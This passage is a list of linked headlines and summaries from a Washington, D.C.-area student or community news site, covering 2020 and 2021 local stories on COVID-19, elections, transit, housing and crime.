Dupont residents continue long-standing arguments about protected bike lanes on 17th Street](https://thewash.org/2021/10/05/it-is-unbelievable-that-this-is-still-coming-up-dupont-residents-continue-long-standing-arguments-about-protected-bike-lanes-on-17th-street/) - In July, DDOT converted the 17th Street corridor to add an additional bike lane and room for streetearies as part of a continual project to make the street more friendly for all users. Despite the changes, many residents are still expressing their frustration with the setup. - [New Congressional Cemetery president to honor site’s commitment to community outreach](https://thewash.org/2021/10/05/new-congressional-cemetery-president-to-honor-sites-commitment-to-community-outreach/) - With a change in leadership slated for early November, officials say the cemetery will build upon its legacy with a renewed focus on fundraising and inclusivity. - [Man bulldozed in encampment clearing on L street in NoMa](https://thewash.org/2021/10/05/man-bulldozed-in-encampment-clearing-on-l-street-in-noma/) - Activists say the brutal clearing is symptomatic of business and government’s failure to directly engage with unhoused people. - [Developer commits to long-term, affordable housing at Arlington property](https://thewash.org/2021/10/05/__trashed-9/) - A long-term commitment to preserve affordable housing in Arlington County is locking in a property with over 290 affordable units for 75 years. - [DC requires COVID-19 shot for student-athletes, officials unsure of effects on participation](https://thewash.org/2021/10/05/dc-requires-covid-19-shot-for-student-athletes-officials-unsure-of-effects-on-participation/) - The city will continue hosting free vaccination clinics and encourage students to get the shot in time to comply with the new mandate. - [Demand for kidney transplants outweighs supply of donors](https://thewash.org/2021/10/05/demand-for-kidney-transplants-outweighs-supply-of-donors/) - North Bethesda resident hopes to get a life-saving kidney transplant soon. But the lack of donors proves to be an obstacle. - [Howard University continues to investigate ransomware attack as classes resume](https://thewash.org/2021/09/28/howard-university-continues-to-investigate-ransomware-attack-as-classes-resume/) - Howard University is one of the latest universities to face a ransomware attack as the education sector sees an increase in such attacks nationwide. - [Inside The Wash: Expanding the Blue Line and the return of the H Street Festival](https://thewash.org/2021/09/29/inside-the-wash-expanding-the-blue-line-and-the-return-of-the-h-street-festival/) -  Hosts Rebekah Alvey and Kayla Gallagher talk with The Wash reporters Aneeta Mathur-Ashton and Rosie Hughes about a possible expansion for the WMATA Blue Line and a lack of COVID-19 precautions at D.C.'s largest festival. Inside The Wash is a weekly look inside the community news reporting seen on The Wash. Co-hosts Rebekah Alvey - [H Street’s ‘Black Friday’ returns with annual festival](https://thewash.org/2021/09/28/h-streets-black-friday-returns-with-annual-festival/) - DC's largest street festival roared back to life on H Street, despite planning woes and public health and security risks. - [Proposed Blue line extension could add metro stop to Buzzard Point’s ongoing redevelopment](https://thewash.org/2021/09/28/proposed-blue-line-extension-could-add-metro-stop-to-buzzard-points-ongoing-redevelopment/) - The proposal from WMATA would place a third metro stop in the Anacostia subarea, adding to the existing Navy Yard and Southwest Waterfront stops. The proposal itself comes as the last section of the Capital riverfront subarea undergoes a major renovation slated to begin next year. - [On U Street, a neighborhood garden springs up on borrowed time](https://thewash.org/2021/09/28/on-u-street-a-neighborhood-garden-springs-up-on-borrowed-time/) - Temperance Alley Garden is giving neighbors a chance to gather in the face of COVID, but it won't last forever. - [Downtown DC businesses anxiously await workers to come back into the office](https://thewash.org/2021/09/28/downtown-dc-businesses-anxiously-await-workers-to-come-back-into-the-office/) - The reinstitution of a mask mandate and surging COVID-19 cases in the late summer has brought business to a standstill for many downtown D.C. establishments. Business was starting to tick back up in the early summer according to Investopedia’s economic recovery tracker, but local businesses now say it has fallen flat. Some offices had opened - [Renovation prep underway at the Bozman Government Center](https://thewash.org/2021/09/28/pre-renovations-underway-at-the-bozman-government-center/) - Renovations at the Ellen M. Bozman Center began last week and will be continuing through 2023. Residents have some apprehensions but experts believe it will be worth it. - [Residents await District decision addressing collisions along Connecticut Avenue](https://thewash.org/2021/09/28/residents-await-district-decision-addressing-collisions-along-connecticut-avenue/) - After four neighborhood commissions in D.C. passed resolutions in April that favored ending reversible lane system and adding bike lanes, DDOT has not publicly finalized a decision. - [Uptick in gun violence causes ‘tug of war’ in Petworth community](https://thewash.org/2021/09/28/uptick-in-gun-violence-causes-tug-of-war-in-petworth-community/) - Gun violence in Petworth this year appears to be even deadlier than 2020 — leaving the community torn over what to do. - [Business openings and droves of visitors launch Georgetown out of the pandemic blues](https://thewash.org/2021/09/28/business-openings-and-droves-of-visitors-launch-georgetown-out-of-the-pandemic-blues/) - Georgetown business owners and employees are optimistic as new businesses open and visitors surge back to the area. - [Redrawing political boundaries in DC underway](https://thewash.org/2021/09/28/redrawing-political-boundaries-in-dc-underway/) - ‘My community is on the chopping block’; Ward 6 residents concerned about redistricting - [‘Plant’ parenthood, a millennial pandemic trend helping DC residents combat declining mental health](https://thewash.org/2021/09/28/plant-parenthood-a-millennial-pandemic-trend-helping-dc-residents-combat-declining-mental-health/) - Expert says taking care of plants is a lot like taking care of yourself. - [‘Awesome to awful.’ Dupont Circle residents frustrated with weeks-old trash pile up](https://thewash.org/2021/09/28/awesome-to-awful-dupont-circle-residents-frustrated-with-weeks-old-trash-pile-up/) - Sanitation companies say staffing shortages and an increase in household waste as a result of the COVID-19 pandemic is to blame. - [Crowd rallies at Nigerian Embassy to decry police brutality](https://thewash.org/2020/10/20/crowd-rallies-at-nigerian-embassy-to-decry-police-brutality/) - Hundreds gathered in front of the Nigerian embassy in D.C. to condemn brutality by Nigerian police. This protest follows two weeks of demonstrations in Nigeria and diaspora-led marches around the world. - [Local LGBTQ groups bolster resources to trans community during pandemic](https://thewash.org/2020/12/08/local-lgbtq-groups-bolster-resources-to-trans-community-during-pandemic/) - Because their community is not often protected from discrimination, LGBTQ people are struggling to secure health care and gender affirming services during the pandemic. So local LGBTQ-focused organizations are attempting to shore them up with healthcare services, online events and fundraisers. - [Pressure mounts to re-open state investigation into former Maine police officer who shot and killed a teenager](https://thewash.org/2020/12/30/pressure-mounts-to-re-open-state-investigation-into-former-maine-police-officer-who-shot-and-killed-a-teenager/) - Advocates call on the Attorney General to rule the shooting “unjustified.” Results of an external review are expected to be released soon. - [Reeling from COVID-19: New Delhi’s biomedical waste system falling apart](https://thewash.org/2020/12/28/reeling-from-covid-19-new-delhis-biomedical-waste-system-falling-apart/) - Our investigation reveals hospitals, a crematorium, and COVID positive resident-households all failed to adhere to safety laws regarding the disposal of potentially dangerous bio-medical waste. - [COVID-19 outbreaks inside ICE detention centers continue to raise alarms](https://thewash.org/2020/12/15/covid-19-outbreaks-inside-ice-detention-centers-continue-to-raise-alarms/) - Fear growing in ICE detention centers as COVID-19 cases steadily climb this winter. Immigration organizations and lawyers are fighting for better health care but are afraid it’s a losing battle. - [Mortuaries in Southern California backed up from coronavirus related deaths](https://thewash.org/2020/12/10/mortuaries-in-southern-california-backed-up-from-coronavirus-related-deaths/) - Families must wait longer than usual to set up funerals for lost loved ones in another grim consequence of the enduring pandemic. - [Despite community protests, Joe Biden selects Eric Garcetti to co-chair inaugural committee](https://thewash.org/2020/12/08/despite-community-protests-joe-biden-selects-eric-garcetti-to-co-chair-inaugural-committee/) - Black Lives Matter activists and community organizers march outside the L.A. mayor’s mansion for the 15th consecutive day as President-Elect Joe Biden picks Mayor Garcetti to join his inaugural committee. - [L.A. County bans outdoor dining through the holidays as Coronavirus cases skyrocket throughout California](https://thewash.org/2020/12/08/l-a-county-bans-outdoor-dining-through-the-holidays-as-coronavirus-cases-skyrocket-throughout-california/) - New stay-at-home orders took effect Sunday night as the state and local counties grapple with multiple record-breaking daily new cases. Some public officials feel that the restrictions on businesses are unwarranted and lack data to support the need for it. - [Georgetown homicide stirs neighborhood](https://thewash.org/2020/12/08/georgetown-homicide-stirs-neighborhood/) - Police, resident group, take extra measures to prevent crime in Georgetown - [Dunbar High School teacher changing lives one bike ride at a time](https://thewash.org/2020/12/08/dunbar-high-school-teacher-changing-lives-one-bike-ride-at-a-time/) - A Dunbar high school teacher is changing lives and giving high schoolers in Petworth something to look forward to by helping them stay safe and out of trouble during the pandemic. - [Arlington residents excited about reopening of Memorial Bridge](https://thewash.org/2020/12/08/arlington-residents-excited-about-reopening-of-memorial-bridge/) - Arlington Memorial Bridge fully reopened Monday after two years of renovations. The superstructure of the bridge was replaced using a jack-up barge as a shoring system to support the structural steel. Residents, excited about using the bridge, say the changes are welcomed. - [Maryland’s vaccine allocation is 'not enough' to cover frontline workers: governor](https://thewash.org/2020/12/08/marylands-vaccine-allocation-is-not-enough-to-cover-frontline-workers-governor/) - Maryland’s vaccine allocations will only cover half of its high risk healthcare workers, not including first responders and other prioritized groups. - [Thousands debate new name for Woodrow Wilson High School](https://thewash.org/2020/12/08/thousands-debate-new-name-for-woodrow-wilson-high-school/) - The District will soon be a step closer to renaming the high school. But it could be a long process. - [Capitol Hill, SW organizations fight to close pandemic’s education gap](https://thewash.org/2020/12/08/capitol-hill-sw-organizations-fight-to-close-pandemics-education-gap/) - Community organizations in Capitol Hill and Southwest Washington have banded together to help students struggling with distance learning. During a pandemic that has disproportionately targeted low-income students of color, community leaders have shifted their gaze towards helping its public housing residents thrive in a pandemic. - [Two violent crimes in one afternoon shake Columbia Heights neighborhood](https://thewash.org/2020/12/07/meridian-place/) - Two separate incidents took place between 3 and 4 p.m. Sunday on Meridian Place NW. Neighborhood residents say crime has decreased since the MPD installed a closed-circuit television trailer this summer. - [Virginia has plans to administer coronavirus vaccine. But are Arlington residents ready?](https://thewash.org/2020/12/07/virginia-has-plans-to-administer-coronavirus-vaccine-but-are-arlington-residents-ready/) - Virginia Governor Ralph Northam said in a Dec. 2 press conference that the state expects to receive its first shipment of 70,000 doses of vaccine from Pfizer by mid-December. The Virginia Department of Health will follow the CDC guidelines to determine who should get the vaccine first. Although VDH expects a high demand for the vaccine, Arlington residents have mixed levels of confidence in taking it. - [At Georgetown University, weary students frustrated with plan for another virtual semester](https://thewash.org/2020/12/07/at-georgetown-university-weary-students-frustrated-with-plan-for-another-virtual-semester/) - As a stressful fall semester comes to an end at Georgetown, students are pushing back against provisions of the university’s spring 2021 plan, which centers around another semester of online instruction. - [No soap, water in hand-washing stations at Ward 2 tent encampments](https://thewash.org/2020/11/10/hand-washing-stations-encampments/) - Federal guidelines encourage the city to provide soap, water and hand sanitizer to those living in tent encampments with more than 10 individuals. - [MDP search for gunman who sent one man to the hospital](https://thewash.org/2020/12/03/mdp-search-for-gunman-who-sent-one-man-to-the-hospital/) - The victim, who was conscious and breathing when police arrived at the scene, was shot in the leg. - [Propane heaters and restaurant tents create safety concerns in Bethesda](https://thewash.org/2020/12/01/propane_heater_safety_in_bethesda_resturant_tents/) - While the Bethesda Streetery is a great opportunity for businesses, enforcement of fire codes seems to have fallen by the wayside. - [Cleaning up the city with one sticker at a time](https://thewash.org/2020/12/01/cleaning-up-the-city-with-one-sticker-at-a-time/) - Litter has plagued many D.C. streets and alleys for years, and over the last eight months, the pandemic has only exacerbated the issue. Now, a new government initiative is testing a strategy to promote proper trash disposal, and they’re handing out stickers to do it. - [Disabled residents worry about leaf collection rules, delays](https://thewash.org/2020/12/01/leaf-collection-accessibility/) - Many residents with disabilities – and city employees working on disability issues in the District – are concerned that leaf collection this fall is inaccessible for many. - [Election posters: your time is up](https://thewash.org/2020/12/01/election-posters-your-time-is-up/) - As election season comes to an end, candidates are running out of time to clear their campaign posters from D.C. streets. - [Pandemic deepens need among unemployed, hungry DMV residents over holidays](https://thewash.org/2020/12/01/pandemic-deepens-need-among-unemployed-hungry-dmv-residents-over-holidays/) - It’s Giving Tuesday, and D.C. residents are putting on their philanthropic hats for those less fortunate as the holiday season begins. But as the economy continues to decline due to COVID-19, the metro area faces a more dire state than imagined. - [In Eckington, pajamas are the school uniform for the foreseeable future](https://thewash.org/2020/12/01/in-eckington-pajamas-are-the-school-uniform-for-the-foreseeable-future/) - D.C. Public Schools abandoned a plan to return some students in person learning earlier in November. Now, one student at Langley Elementary School in Eckington considers what finishing out the school year on a virtual format might look like. - [The District prepares for coronavirus vaccine amid concerns of limited allocation](https://thewash.org/2020/12/01/the-district-prepares-for-coronavirus-vaccine-amid-concerns-of-limited-allocation/) - The city has more than 80,000 health care workers, but will receive just 8,000 doses in its first allocation, according to recent estimates. - [As winter descends, Arlington County fights to lower homeless Black population](https://thewash.org/2020/11/25/as-winter-descends-arlington-county-fights-to-lower-homeless-black-population/) - November is the start of hypothermia season, and with cold-weather temperatures comes the need for more shelter for those experiencing homelessness in Arlington — particularly Black people who experience it at higher rates. The Arlington Department of Human Services awarded $2.3 million worth of contracts months ago, in hopes of addressing racial disparities among homeless Black people this winter. Now, county officials will see whether it works. - [Pinto retains Ward 2 council seat](https://thewash.org/2020/11/03/pinto-retains-ward-2-council-seat/) - Councilmember Brooke Pinto captured about 68% of the vote Tuesday night, beating her next nearest challenger by almost 40 points. - [Trump administration’s federal executions spark protest, vigil at BLM Plaza](https://thewash.org/2020/11/20/trump-administrations-federal-executions-spark-protest-vigil-at-blm-plaza/) - Several protesters gathered at BLM Plaza and over 1,000 more virtually to protest the execution of Orlando Hall. - [Black restaurant owners need tech and each other, panelists say](https://thewash.org/2020/11/17/black-restaurant-owners-need-tech-and-each-other-panelists-say/) - Business owners and entrepreneurs emphasized the importance of technological literacy and brand collaboration during the DMV Black Restaurant Week virtual conference. - [Hill restaurant stung by COVID-related violations](https://thewash.org/2020/11/17/hill-restaurant-stung-by-covid-related-violations/) - Since the onset of the coronavirus pandemic in March, restaurants have had to adapt to the growing set of health and safety guidelines designed to protect workers and patrons against the virus. In Washington, restaurants that fail to meet this requirement risk being fined $2,000. - [DC app-based drivers monitoring fallout from California vote](https://thewash.org/2020/11/17/dc-app-based-drivers-monitoring-fallout-from-california-vote/) - Proposition 22 passed in California, solidifying platform workers as independent contractors. However, labor experts and organizers in Washington DC say they would welcome a reclassification to employees. - [DC coffeeshops ‘can’t afford to close again’ amid pandemic](https://thewash.org/2020/11/17/dc-coffeeshops-cant-afford-to-close-again-amid-pandemic/) - D.C. business owners are eyeing the possibility of another lockdown as COVID-19 cases surge across the country. But they don't know if their businesses can sustain another closure. - [Brightwood, Petworth restaurants brace for winter weather amid COVID-19](https://thewash.org/2020/11/17/brightwood-petworth-restaurants-brace-for-winter-weather-amid-covid-19/) - As colder weather approaches and D.C.’s coronavirus cases increase, some of Petworth’s favorite restaurants are preparing for whatever the winter weather holds. - [Town hall meeting turns contentious after neighborhood racism task force makes recommendations](https://thewash.org/2020/11/17/town-hall-meeting-turns-contentious-after-neighborhood-racism-task-force-makes-recommendations/) - A local ANC’s racism task force has proposed wide-ranging housing and education reforms. The recommendations range drastically in scope — and controversy. - [Georgetown University coronavirus cases rise, mirroring district’s numbers](https://thewash.org/2020/11/17/georgetown-university-coronavirus-cases-rise-mirroring-districts-numbers/) - Student body president says university ‘did the best they could’ with pandemic response. - [Anti-hunger groups step up holiday season outreach during pandemic](https://thewash.org/2020/11/17/anti-hunger-groups-step-up-holiday-season-outreach-during-pandemic/) - Food and Friends, Bread for the City and Councilmember Trayon White’s office are among the entities providing families with food and other resources during this holiday season. - [Trump supporters swarm DC to protest election results](https://thewash.org/2020/11/15/trump-supporters-swarmed-dc-to-protest-election-results/) - Thousands of people gathered on the streets of the Capitol to protest the election results, falsely claiming that President Trump won the election. Some groups showed up to counter-protest. - [TPS recipients push Biden to permanent residency](https://thewash.org/2020/11/14/tps-recipients-push-biden-to-permanent-residency/) - Temporary Protected Status (TPS) recipients, organizers and allies gathered at a rally at the Black Lives Matter Plaza on Friday afternoon to push Congress to create a pathway to citizenship for immigrants and to save programs and statuses that protect immigrants. - [Cyclists vs seniors: a community's battle over bike lanes and parking spots](https://thewash.org/2020/11/10/cyclists-vs-seniors-a-communitys-battle-over-bike-lanes-and-parking-spots/) - In a push for more sustainable and efficient modes of travel, projects to expand bike and bus lanes are replacing residential parking in parts of the city. But these changes impact some of the community’s most vulnerable residents: seniors and the disabled who need cars to get around. - [Light rail construction brings public trails chaos](https://thewash.org/2020/11/10/light-rail-construction-brings-public-trails-chaos/) - Both cyclists and pedestrians are pushed next to rushing cars and off public trails as construction from the light rail Purple Line causes detours and confusion. - [NoMa restaurants adapting to new health guidelines but it's not easy](https://thewash.org/2020/11/10/noma-restaurants-adapting-to-new-health-guidelines-but-its-not-easy/) - Some nightlife businesses remain closed and others are struggling. - [Women retake majority on DC Council for first time in 20 years](https://thewash.org/2020/11/10/women-retake-majority-on-dc-council-for-first-time-in-20-years/) - The last time female councilmembers held a majority on the council was in the 1990s. - [Virtual classes give GW students chance to participate in local elections](https://thewash.org/2020/11/10/virtual-classes-give-gw-students-chance-to-participate-in-local-elections/) - Campus closures gave some GW students the opportunity to volunteer at the polls and with local political campaigns. - [Online events continue, despite virtual fatigue and no end in sight](https://thewash.org/2020/11/10/online-events-continue-despite-virtual-fatigue-and-no-end-in-sight/) - Local organizations are getting more creative with virtual events. But while there’s a wide variety offered, attendance is beginning to fluctuate after nine months of virtual fatigue. - [Arlington County receives $100k Amazon donation for racial equity dialogues](https://thewash.org/2020/11/10/arlington-county-receives-100k-amazon-donation-for-racial-equity-dialogues/) - Amazon gave $100,000 to Arlington County to continue its racial equity efforts, which include normalizing conversation around race. “Talking is action, and talking leads to action,” one advocate says. - [Supreme Court hears legal challenge to Obamacare](https://thewash.org/2020/11/10/supreme-court-hears-legal-challenge-to-obamacare/) - More than 50 people attended a rally outside the Supreme Court on Tuesday to voice their concern with the latest challenge to the Affordable Care Act. - [Who’s on your Ward 1 ballot: New CoHi-Park View neighbors run for ANC](https://thewash.org/2020/10/20/whos-on-your-ward-1-ballot-new-cohi-park-view-neighbors-run-for-anc/) - There are currently four new candidates running in the ANC 1A election, yet many residents don’t know what this local representative body is or does for their community. - [Despite obvious support for Biden, California voters mixed on ballot measures](https://thewash.org/2020/11/09/despite-obvious-support-for-biden-california-voters-mixed-on-ballot-measures/) - Californians mostly elect Democrats to public office. But state ballot initiatives are not always clear-cut victories for the left. - [From the waterfront to Calvert Street, Georgetown reacts to a Biden win](https://thewash.org/2020/11/07/from-the-waterfront-to-calvert-street-georgetown-reacts-to-a-biden-win/) - The Associated Press called the presidential race for Joe Biden just before 11:30 a.m. Then the celebrations started. - [Young people aren’t just volunteering to be poll workers. They’re recruiting them.](https://thewash.org/2020/11/03/young-people-arent-just-volunteering-to-be-poll-workers-theyre-recruiting-them/) - Most of the volunteers who work with the D.C.-based Youth Activism Project are too young to vote. Some are even too young to be poll workers. But that doesn’t mean they are sitting this election out. - [After heated campaign, man once tied to white supremacy loses Ward 8 ANC race](https://thewash.org/2020/11/05/after-heated-campaign-man-once-tied-to-white-supremacy-loses-ward-8-anc-race/) - Advocates were happy that Ward 8 residents decided on a Black Washingtonian instead. Robin McKinney won 50% of the vote. - [World watches as US keeps counting, and counting](https://thewash.org/2020/11/04/world-watches-as-us-keeps-counting-and-counting/) - The Wash spoke to students and young professionals in Italy, England, Armenia, Vietnam and South Korea about who should win the U.S. presidency. - [Turning hatred into healing](https://thewash.org/2020/11/04/turning-hatred-into-healing/) - Many voters say they’re nervous about how people will respond in a divided nation, regardless of who wins the election. - [A failure of political polling?](https://thewash.org/2020/11/04/a-failure-of-political-polling/) - The 2020 election has been rife with uncertainty, including whether the polling industry will have to change. - [Latino voters seem to rebuke Trump in Arizona as Cuban Americans back him in Florida](https://thewash.org/2020/11/04/latino-voters-seem-to-rebuke-trump-in-arizona-as-cuban-americans-back-him-in-florida/) - Swing states swing both ways when it comes to Latino voters. - [Elections Podcast: Coverage from DC voting super centers, BLM plaza and more](https://thewash.org/2020/11/04/elections-podcast-coverage-from-dc-voting-super-centers-blm-plaza-and-more/) - A day after a tense Election Day across D.C., Maryland and Virginia, results continued to roll in. In this special podcast, we'll have coverage from the super voting center at Nationals ballpark, hear from protestors at Black Lives Matter Plaza, learn about a voting issue in Prince William County, Virginia, and get an update about - [D.C. moves forward with two new hospitals, but how will they affect health access?](https://thewash.org/2020/10/06/d-c-moves-forward-with-two-new-hospitals-but-how-will-they-affect-health-access/) - George Washington University and Howard University will both open new hospitals in the next six years, which the city government says will improve health-care access for D.C.’s most vulnerable residents. - [Voters overwhelmed with anxiety, anger, stress](https://thewash.org/2020/11/04/voters-overwhelmed-with-anxiety-anger-stress/) - Mental health counselors plan for increased demand as presidential election results play out. - [Too soon to tell: 2020’s president still to be determined](https://thewash.org/2020/11/04/2020-presidential-update/) - As early Wednesday morning swept in, tens of millions of votes are yet to be counted. Election officials are working through the night to declare a presidential winner. - [DC Initiative 81 passes, making psychedelic therapies accessible](https://thewash.org/2020/11/03/dc-initiative-81-passes-making-psychedelic-therapies-accessible/) - Initiative 81 passed in D.C., giving residents access to natural, psychedelic therapies as a form of treatment. Research continues within the nation to uncover the mysteries of naturally occurring entheogens. - [Election night gathering is a mostly jubilant affair](https://thewash.org/2020/11/04/election-night-gathering-is-a-mostly-jubilant-affair/) - Hundreds gathered several blocks from the White House on Tuesday night to celebrate the 2020 election. - [Euphoria fills BLM plaza as voters wait for election results](https://thewash.org/2020/11/04/euphoria-fills-blm-plaza-as-voters-wait-for-election-results/) - The 2020 elections have people on the edge of their seats and out of their houses while they wait for the results of who will be the president for the next four years. - [Puerto Ricans as first-time presidential voters](https://thewash.org/2020/10/30/puerto-ricans-as-first-time-presidential-voters/) - Citizens of the United States territory cannot vote in the presidential elections, only the primaries. For native Puerto Ricans who moved to the U.S. after Hurricane Maria, this would be their first time. - [White, Henderson leading in DC Council at-large race](https://thewash.org/2020/11/04/white-henderson-leading-in-dc-council-at-large-race/) - Incumbent Democratic DC councilmember Robert White and Christina Henderson, an independent, lead a 23-person field for two at-large seats on DC Council as of midnight on election night. Tabulations of ballots have not yet been completed. White ran up a significant margin in the competitive race, receiving more than 25% of the vote (84,884 votes). White, - [Black conservatives want four more years of Trump](https://thewash.org/2020/11/04/black-conservatives-want-four-more-years-of-trump/) - The Wash spoke to four Black conservatives about their support to reelect President Trump for a second term. Four of them walked into a voting booth today to vote to reelect the president while one has already cast her vote by mail. - [GW students and nearby businesses prepare for potential election unrest](https://thewash.org/2020/11/03/gw-students-and-nearby-businesses-prepare-for-potential-election-unrest/) - Last week, the university advised students to prepare for “election related disruptions” ahead of the presidential election, some listened. - [Arlington Republicans celebrate election night at sports pub during COVID-19](https://thewash.org/2020/11/03/arlington-republicans-celebrate-election-night-at-sports-pub-during-covid-19/) - While other locations canceled their watch parties for COVID-19 restrictions, the Arlington Republican Women and Arlington County Republican Committee reserved a sports pub to watch the election results. - [Early voting ends in Arlington with record turnout.](https://thewash.org/2020/11/03/early-voting-ends-in-arlington-with-record-turnout/) - Almost two-thirds of active voters in Arlington have voted before Election Day, a record compared to the number of votes before the 2016 general election. The county has historically voted for Democrats and as votes are counted, Biden and Democrats on the ballot have a huge lead in the race. - [AUDIO: Voters with disabilities face additional challenges](https://thewash.org/2020/11/02/audio-voters-with-disabilities-face-additional-challenges/) - Voting is proving to be a challenge for most Americans because of COVID fears as well as USPS delays for absentee ballots. But for voters with disabilities, the challenge can be even more daunting. Myra Patrick explores some new options for the visually impaired. Myra Patrick · 2020 Election: Voting with a disability - [Hundreds arrive at BLM Plaza ahead of results](https://thewash.org/2020/11/03/hundreds-arrive-at-blm-plaza-ahead-of-results/) - Hours ahead of election results, drums sounded and prayers went up at the Black Lives Matter Plaza today in preparation for what could be a celebration if Biden wins, according to protesters. However, many businesses near Pennsylvania Avenue have boarded their doors in fear of civil unrest. On Oct. 29, during a press conference, D.C. - [Voting has never tasted so good](https://thewash.org/2020/11/03/voting-has-never-tasted-so-good/) - https://youtu.be/8PNBxo27Od8 How about a cheeseburger with your 'I voted' sticker? Pizza to the Polls, a nonprofit organization whose slogan is "democracy is delicious," has been passing out free food around polling sites this week. Lucy Werner, a volunteer with the organization, said she's been in the District for the past five days, passing out everything - [The 126 million absentee ballots cast this year stretch U.S. Postal Service](https://thewash.org/2020/11/03/the-126-million-absentee-ballots-cast-this-year-stretch-u-s-postal-service/) - USPS implements “extraordinary measures” to deliver ballots on time. - [Voters trickle into Ward 2 precinct in last hours of voting](https://thewash.org/2020/11/03/voters-trickle-into-ward-2-precinct-in-last-hours-of-voting/) - There was a line around the building at School Without Walls at Francis Stevens when early voting opened last Tuesday. By 6 p.m. election night, however, those lines had slowed to a trickle. Polling place manager Egypt Jones said early and absentee voting but into Election Day crowds. Jones said almost 3,000 people have cast - [Pandemic, protests: motivation behind surge in DC young voters, poll volunteers](https://thewash.org/2020/11/03/pandemic-protests-motivation-behind-surge-in-dc-young-voters-poll-volunteers/) - Election officials and civic leaders notice an uptick in engagement among Millennials and Gen Z voters. Young voters said Hilary Clinton's loss in the 2016 election and the Black Lives Matter movement are just some of their motivations. - [Church urges prayer ahead of election results](https://thewash.org/2020/11/03/interfaith-program/) - The steps of National City Christian Church – filled with 3,000 plastic candles ahead of an interfaith livestreamed program – will shine brightly Tuesday night. - [Expectations of large crowds at voting super centers don't match election day reality](https://thewash.org/2020/11/03/expectations-of-large-crowds-at-voting-super-centers-dont-match-election-day-reality/) - While the Nationals Park voting super center supported over 6,700 in-person voters since early voting started, only a couple hundred actually did so on Election Day. This morning at Nationals Park was windy and quite chilly. Election workers had already been in position for the past week. They’ve had practice at their posts, helping voters - [AUDIO: DC unveils voting super centers](https://thewash.org/2020/11/03/audio-dc-unveils-voting-super-centers/) - https://soundcloud.com/john-seward-216137098/nationals-park-is-set-up-for-the-national-race D.C. voting centers are now open until 8 p.m. on Election Day. New this year are the voting super centers, including one sports complex filled with special memories. John Seward reports. - [Amid social and political unrest, DC statehood movement picks up steam](https://thewash.org/2020/11/03/amid-social-and-political-unrest-dc-statehood-movement-picks-up-steam/) - As millions of Americans head to the polls today or have already cast their ballots, their choice of U.S. senator might have an effect on a renewed local movement: D.C. statehood. - [Prayer stations pop up at polls across the District](https://thewash.org/2020/11/03/prayer-stations/) - Non-partisan prayer stations are popping up at polling places across the District. - [AUDIO: Sports betting on the ballot in Md](https://thewash.org/2020/11/02/audio-story-sports-betting-on-the-ballot-in-md/) - Maryland voters will decide whether sports betting will become legal in the state. It's a statewide ballot question and even if the issues passes, there are still a lot of details to work out. Dani Birzer reports. Dani Birzer · MD Gambling Election Mixdown - [DC Council candidates map out lines on police defunding](https://thewash.org/2020/11/02/dc-council-candidates-map-out-lines-on-police-defunding/) - Calls to defund police forces have gained popularity across the country. Washington, D.C., is no exception. This year’s council candidates are running on multiple sides of the issue. - [Teaching history through the fog of pandemic and politics](https://thewash.org/2020/11/02/teaching-history-through-the-fog-of-pandemic-and-politics/) - The Wash spoke to history teachers about connecting with students during a polarizing presidential election and while online. “My job as a teacher is not to make liberals. It’s not to make conservatives. It’s to make citizens,” one said. - [Organizations struggle to help area homeless avoid COVID-19](https://thewash.org/2020/11/02/organizations-struggle-to-help-area-homeless-avoid-covid-19/) - The homeless population is more at risk than others, prompting nonprofit organizations in the DC area to go into overdrive. ‘COVID was a game changer,’ one advocate says. November, hypothermia month, is here. - [DC news outlets adapt as they gear up for ‘unprecedented’ election](https://thewash.org/2020/11/02/dc-news-outlets-adapt-as-they-gear-up-for-unprecedented-election/) - With so much uncertainty about election results, local news organizations emphasize patience. - [Do area voters feel intimidated?](https://thewash.org/2020/11/02/dmv-voter-on-army-for-trump-we-dont-take-you-seriously/) - Trump has called for supporters to watch polling places closely. Some call that enthusiasm. Others see intimidation. But in Washington, Maryland and Virginia, some residents say they’re not scared. - [Howard holds classes as usual on Election Day, disappointing opponents](https://thewash.org/2020/10/29/howardelectionday/) - American University and George Washington University canceled classes and gave employees paid days off on Nov. 3. - [International observers -- and the Carter Center -- turn eyes on U.S. elections](https://thewash.org/2020/10/29/dc-attorney-general-and-international-observers-monitor-voter-intimidation-at-the-polls/) - Experts call militia activity and voter intimidation greater threats this year. They want to reassure voters their votes will count. - [‘Vote like your life depends on it’](https://thewash.org/2020/10/30/vote-like-your-life-depends-on-it/) - Senior voters, America’s largest active voting bloc, according to Pew Research Center, is also the group most at risk for coronavirus. But that’s not stopping them from voting in this election. - [How to spot misinformation about the election](https://thewash.org/2020/10/30/how-to-spot-misinformation-about-the-election/) - With Election Day looming, American University media experts urge voters to be on the lookout for misinformation on social and other media. - [Woodrow Wilson High School is getting a new name. It’s about time, local activists and students say.](https://thewash.org/2020/11/02/woodrow-wilson-high-school-is-getting-a-new-name-its-about-time-local-activists-and-students-say/) - The District of Columbia school system expects a name to be approved in December. “There's this complacency, it's a white complacency,” a lead activist says. - [How DC youth are adjusting to online counseling during the pandemic](https://thewash.org/2020/10/31/how-dc-youth-are-adjusting-to-online-counseling-during-the-pandemic/) - Eight months into the pandemic and Columbia Heights’ Latin American Youth Center has seen an increase in its youth enrollment in counseling services. The Wash spoke with four people connected to the center to better understand how counselors are supporting clients when they can’t meet face to face. - [Despite pandemic and financial uncertainty, Dupont Underground survives](https://thewash.org/2020/10/20/despite-pandemic-and-financial-uncertainty-dupont-underground-survives/) - Dupont Underground is making a comeback after a period of instability due to the pandemic and an expired lease. The space launched a Black Lives Matter exhibit this month, the latest in a long history of innovative uses for the old streetcar tunnels. - [‘Sudden’ and ‘ruthless’ murders roil Tenleytown, Friendship Heights](https://thewash.org/2020/10/27/sudden-and-ruthless-murders-roil-tenleytown-friendship-heights/) - Residents and police officials are concerned about the deadly uptick in gun violence in Ward Three and the District. - [DC Council considers three police reform bills, advocates say it isn’t enough](https://thewash.org/2020/10/27/dc-council-considers-three-police-reform-bills-advocates-say-it-isnt-enough/) - Advocates of police reform say that the legislation currently under review is “inadequate” to reduce police abuse of power in the District. - [Porch Pirates prey on Hill residents](https://thewash.org/2020/10/27/porch-pirates-prey-on-hill-residents/) - With more and more Americans staying and working from home, many have opted to have their food, clothes, and other items delivered to their doorstep. Unfortunately, some residents in Capitol Hill never get to see them. - [Lobbying firm drops Turkey as a client amid pressure from activists and protests](https://thewash.org/2020/10/27/lobbying-firm-drops-turkey-as-a-client-amid-pressure-from-activists-and-protests/) - Mercury Public Affairs withdraws representation of the Turkish government after a regional conflict escalates. - [Arlington County begins a conversation on racial equity, but is it the 